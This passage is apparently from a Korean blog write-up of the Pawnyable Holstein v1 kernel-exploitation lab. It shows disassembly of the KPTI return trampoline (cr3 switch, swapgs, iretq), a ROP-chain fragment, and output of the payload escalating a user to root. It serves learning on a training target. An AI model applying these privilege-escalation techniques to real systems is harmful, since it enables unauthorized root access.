-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800e3e ff7710 <NO_SYMBOL> push 0x10 (%rdi)
0xffffffff81800e41 ff37 <NO_SYMBOL> push (%rdi)
0xffffffff81800e43 50 <NO_SYMBOL> push %rax
-> 0xffffffff81800e44 6690 <NO_SYMBOL> xchg %ax, %ax
이 값은 곧 페이로드의 tramp 다음 2개의 값이다.
*chain++ = tramp;
*chain++ = 0;
*chain++ = 0;
이후 아래 과정을 거쳐 cr3를 변경하고 iretq에서 쉘을 실행시켜준다.
ffffffff81800e7f: 48 81 cf 00 10 00 00 or $0x1000,%rdi
ffffffff81800e86: 0f 22 df mov %rdi,%cr3
ffffffff81800e89: 58 pop %rax
ffffffff81800e8a: 5f pop %rdi
ffffffff81800e8b: 0f 01 f8 swapgs
ffffffff81800e8e: eb 20 jmp 0xffffffff81800eb0
...
ffffffff81800eb0: f6 44 24 20 04 testb $0x4,0x20(%rsp)
ffffffff81800eb5: 75 02 jne 0xffffffff81800eb9
ffffffff81800eb7: 48 cf iretq
...
5. exploit
설정을 원래대로 복구하고 실행해보면
[ Holstein v1 (LK01) - Pawnyable ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)
성공이다.
'Kernel Exploit' 카테고리의 다른 글
Kernel - SMAP 우회, krop (간단 글) (0) | 2023.09.10 |
---|---|
kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일 (0) | 2023.09.09 |
Kernel - stack pivoting #2 - with xchg (0) | 2023.09.09 |
Kernel - stack pivoting #1 - with mov esp. (0) | 2023.09.08 |
Kernel - SMEP 우회, cr4 overwrite #2 (0) | 2023.09.08 |